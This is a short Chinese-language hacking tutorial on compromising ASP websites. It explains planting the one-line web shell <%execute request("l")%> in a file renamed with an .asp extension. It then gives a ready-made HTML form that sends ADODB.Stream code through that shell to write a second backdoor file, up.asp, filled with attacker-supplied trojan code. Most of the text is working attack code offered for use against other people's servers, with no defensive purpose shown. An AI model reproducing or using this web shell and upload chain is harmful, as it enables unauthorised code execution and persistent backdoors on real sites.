经典的利用插入Asp数据库插入语句

无论通过什么方法，图片或者exe或者rar=====，只要通过别人方法把后缀改为asp，但是asp中需要插入一段语言：

<%execute request("l")%>

保存。

然后，本地构造提交表单，action的内容指向插入asp文件，如xxx.asp。代码如下：

<form action=http://www.XXX.com/xxx.asp method=post>
<textarea name=l cols=120 rows=10 width=45>
set lP=server.createObject("Adodb.Stream")
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lP.writetext request("p")
lP.SaveToFile server.mappath("up.asp"),2
lP.Close
set lP=nothing
response.redirect "up.asp"
</textarea>
<textarea name=p cols=120 rows=10 width=45>这填马的代码</textarea><BR><center><br>
<input type=submit value=提交>